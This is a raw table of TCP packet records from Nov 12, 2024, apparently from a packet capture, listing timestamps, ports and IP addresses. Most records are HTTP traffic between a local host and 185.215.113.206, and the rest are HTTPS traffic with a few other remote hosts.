Nov 12, 2024 06:23:37.209952116 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.209959984 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.209973097 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.210001945 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.210007906 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.210010052 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.210026979 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.210033894 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.210052967 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.210052967 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.210167885 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.210189104 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.210195065 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.210215092 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.210227013 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.210242033 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.210249901 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.210278988 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.210289955 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.210342884 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.213877916 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.221151114 CET	443	54561	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:37.267931938 CET	54561	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:37.267961025 CET	443	54561	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:37.270869970 CET	54561	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:37.270890951 CET	443	54561	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:37.270944118 CET	54561	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:37.270956039 CET	443	54561	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:37.280158997 CET	443	54564	18.244.18.38	192.168.2.5
Nov 12, 2024 06:23:37.280215979 CET	443	54564	18.244.18.38	192.168.2.5
Nov 12, 2024 06:23:37.280988932 CET	54564	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:37.281399012 CET	54564	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:37.281414032 CET	443	54564	18.244.18.38	192.168.2.5
Nov 12, 2024 06:23:37.281433105 CET	54564	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:37.283334970 CET	54564	443	192.168.2.5	18.244.18.38
Nov 12, 2024 06:23:37.445633888 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.450380087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.581068993 CET	443	54567	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.582161903 CET	54567	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.582176924 CET	443	54567	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.582684040 CET	54567	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.582690954 CET	443	54567	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.627377987 CET	443	54561	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:37.627399921 CET	443	54561	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:37.627563000 CET	54561	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:37.627587080 CET	443	54561	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:37.628329039 CET	54561	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:37.628341913 CET	443	54561	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:37.628369093 CET	54561	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:37.628463984 CET	443	54561	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:37.628493071 CET	443	54561	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:37.628649950 CET	54561	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:37.667150974 CET	54579	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:37.667198896 CET	443	54579	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:37.667673111 CET	54579	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:37.668009043 CET	54579	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:37.668023109 CET	443	54579	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:37.671425104 CET	443	54568	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.672048092 CET	54568	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.672060966 CET	443	54568	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.677957058 CET	54568	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.677963018 CET	443	54568	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.699382067 CET	443	54569	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.701621056 CET	54580	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:37.701669931 CET	443	54580	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:37.702020884 CET	54569	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.702052116 CET	443	54569	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.702079058 CET	54580	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:37.702203035 CET	54580	443	192.168.2.5	40.126.31.69
Nov 12, 2024 06:23:37.702210903 CET	443	54580	40.126.31.69	192.168.2.5
Nov 12, 2024 06:23:37.702622890 CET	54569	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.702629089 CET	443	54569	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.713129997 CET	443	54567	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.713437080 CET	443	54567	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.713583946 CET	54567	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.713738918 CET	54567	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.713738918 CET	54567	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.713753939 CET	443	54567	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.713763952 CET	443	54567	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.716245890 CET	54581	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.716279984 CET	443	54581	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.716701031 CET	54581	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.716701031 CET	54581	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.716725111 CET	443	54581	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.721012115 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721026897 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721043110 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721112013 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721124887 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721148968 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721162081 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721168041 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721182108 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721194983 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721210003 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721227884 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721235991 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721260071 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721265078 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721276045 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721282959 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721292019 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721298933 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721318960 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721329927 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721334934 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721342087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721427917 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721436977 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721447945 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721458912 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721467018 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721482038 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721492052 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721499920 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721508980 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721518993 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721529007 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721529007 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721541882 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721559048 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721565008 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721582890 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721596003 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721610069 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721621990 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721642971 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721652985 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721652985 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721677065 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721687078 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721714020 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721723080 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721723080 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721734047 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721748114 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721750975 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721765041 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721770048 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721782923 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721796036 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721803904 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721812963 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721829891 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721843958 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.721848011 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.721859932 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.722008944 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.722151041 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.722161055 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.722181082 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.722198963 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.722214937 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.722223997 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.722240925 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.722265959 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.722409010 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.722420931 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.722441912 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.722450018 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.722459078 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.722474098 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.722486973 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.722491980 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.722491980 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.722564936 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.722820044 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.722841978 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.722851992 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.722946882 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.722954988 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.722976923 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.722995043 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723011017 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723015070 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.723036051 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723045111 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723053932 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.723066092 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723086119 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723098040 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723104000 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.723115921 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.723252058 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.723268032 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723324060 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723334074 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723341942 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723367929 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723376989 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723391056 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.723423958 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.723423958 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.723470926 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723491907 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723512888 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723525047 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723530054 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.723546028 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723598003 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723618984 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.723625898 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723634005 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723692894 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723702908 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723712921 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.723725080 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723782063 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.723802090 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723812103 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723835945 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723845959 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.723855972 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.723867893 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.724011898 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.724034071 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.724081993 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.724090099 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.724107981 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.724124908 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.724133015 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.724142075 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.724152088 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.724155903 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.724270105 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.724282980 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.724359989 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.725688934 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.753458977 CET	443	54571	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.754219055 CET	54571	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.754219055 CET	54571	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.754230976 CET	443	54571	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.754245043 CET	443	54571	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.783454895 CET	443	54572	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.784390926 CET	54572	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.784404993 CET	443	54572	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.785285950 CET	54572	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.785293102 CET	443	54572	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.804862022 CET	443	54568	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.804960966 CET	443	54568	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.805320024 CET	54568	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.805499077 CET	54568	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.805499077 CET	54568	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.805512905 CET	443	54568	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.805520058 CET	443	54568	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.807898045 CET	54582	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.807923079 CET	443	54582	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.808094978 CET	54582	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.808173895 CET	54582	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.808185101 CET	443	54582	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.830029964 CET	443	54569	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.830076933 CET	443	54569	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.830245972 CET	54569	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.830599070 CET	54569	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.830599070 CET	54569	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.830611944 CET	443	54569	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.830621004 CET	443	54569	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.833076000 CET	54583	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.833101988 CET	443	54583	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.833349943 CET	54583	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.833349943 CET	54583	443	192.168.2.5	13.107.246.45
Nov 12, 2024 06:23:37.833369017 CET	443	54583	13.107.246.45	192.168.2.5
Nov 12, 2024 06:23:37.836522102 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.836548090 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.836568117 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.836637974 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.836657047 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.836673021 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.836688042 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.836808920 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.836832047 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.836839914 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.836862087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.836874962 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.836899042 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.836915016 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.836921930 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.836921930 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.836936951 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.836956024 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.836963892 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.836975098 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.836982012 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.836996078 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837011099 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837016106 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.837016106 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.837030888 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.837038040 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837064028 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837074041 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837090969 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837104082 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837110043 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.837145090 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837150097 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837162018 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.837173939 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837188005 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837193966 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.837203979 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.837213993 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837223053 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837236881 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.837248087 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837260962 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837268114 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.837282896 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837294102 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837301016 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.837301016 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.837313890 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837323904 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837332010 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.837332010 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.837347031 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837356091 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.837367058 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.837667942 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.875411034 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875457048 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875473976 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875482082 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.875499964 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.875508070 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875518084 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875524998 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.875546932 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875565052 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.875575066 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875585079 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875595093 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.875606060 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875626087 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.875655890 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875669003 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875674963 CET	49779	80	192.168.2.5	185.215.113.206
Nov 12, 2024 06:23:37.875688076 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875701904 CET	80	49779	185.215.113.206	192.168.2.5
Nov 12, 2024 06:23:37.875708103 CET	49779	80	192.168.2.5	185.215.113.206
